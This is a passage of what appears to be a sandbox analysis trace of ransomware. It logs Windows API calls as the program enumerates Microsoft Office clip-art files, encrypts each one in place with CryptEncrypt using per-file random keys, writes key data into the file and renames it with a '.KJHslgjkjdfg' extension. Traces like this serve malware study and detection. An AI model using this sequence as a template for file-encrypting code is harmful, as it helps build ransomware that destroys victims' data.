lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d18, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d18, lpOverlapped=0x0) returned 1 [0196.430] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d20, dwBufLen=0x1d20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d20) returned 1 [0196.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.430] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d20, lpOverlapped=0x0) returned 1 [0196.430] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.431] SetEndOfFile (hFile=0x130) returned 1 [0196.433] GetProcessHeap () returned 0x990000 [0196.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.433] GetProcessHeap () returned 0x990000 [0196.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.kjhslgjkjdfg")) returned 1 [0196.435] CloseHandle (hObject=0x130) returned 1 [0196.435] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1 [0196.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.436] GetProcessHeap () returned 0x990000 [0196.436] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.436] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.437] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0196.438] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.438] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.438] GetProcessHeap () returned 0x990000 [0196.438] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.438] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.438] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.438] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.439] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.439] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.439] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.439] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.439] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.439] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b74, lpOverlapped=0x0) returned 1 [0196.440] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b80) returned 1 [0196.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.440] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b80, lpOverlapped=0x0) returned 1 [0196.441] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.441] SetEndOfFile (hFile=0x130) returned 1 [0196.443] GetProcessHeap () returned 0x990000 [0196.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.443] GetProcessHeap () returned 0x990000 [0196.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.kjhslgjkjdfg")) returned 1 [0196.444] CloseHandle (hObject=0x130) returned 1 [0196.444] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1 [0196.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.446] GetProcessHeap () returned 0x990000 [0196.446] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.446] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.446] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.448] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.448] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.448] GetProcessHeap () returned 0x990000 [0196.448] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.448] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.448] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.448] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.449] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.449] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.449] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.449] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.449] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.449] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3198, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3198, lpOverlapped=0x0) returned 1 [0196.450] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31a0) returned 1 [0196.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.451] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x31a0, lpOverlapped=0x0) returned 1 [0196.451] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.451] SetEndOfFile (hFile=0x130) returned 1 [0196.454] GetProcessHeap () returned 0x990000 [0196.454] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.454] GetProcessHeap () returned 0x990000 [0196.454] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.kjhslgjkjdfg")) returned 1 [0196.455] CloseHandle (hObject=0x130) returned 1 [0196.455] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1 [0196.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.456] GetProcessHeap () returned 0x990000 [0196.456] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.456] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.457] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.459] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.459] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.459] GetProcessHeap () returned 0x990000 [0196.459] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.460] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.460] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.460] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.460] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.460] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.460] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.460] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.460] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.460] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.460] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16e8, lpOverlapped=0x0) returned 1 [0196.461] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16f0) returned 1 [0196.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.462] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16f0, lpOverlapped=0x0) returned 1 [0196.462] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.462] SetEndOfFile (hFile=0x130) returned 1 [0196.464] GetProcessHeap () returned 0x990000 [0196.464] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.464] GetProcessHeap () returned 0x990000 [0196.464] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.kjhslgjkjdfg")) returned 1 [0196.465] CloseHandle (hObject=0x130) returned 1 [0196.465] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1 [0196.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.466] GetProcessHeap () returned 0x990000 [0196.466] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.466] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.466] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.468] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.469] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.469] GetProcessHeap () returned 0x990000 [0196.469] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.469] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.469] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.469] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.469] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.469] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.469] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.470] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.470] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.470] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.470] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2608, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2608, lpOverlapped=0x0) returned 1 [0196.471] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2610, dwBufLen=0x2610 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2610) returned 1 [0196.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.471] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2610, lpOverlapped=0x0) returned 1 [0196.471] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.471] SetEndOfFile (hFile=0x130) returned 1 [0196.474] GetProcessHeap () returned 0x990000 [0196.474] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.474] GetProcessHeap () returned 0x990000 [0196.474] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), 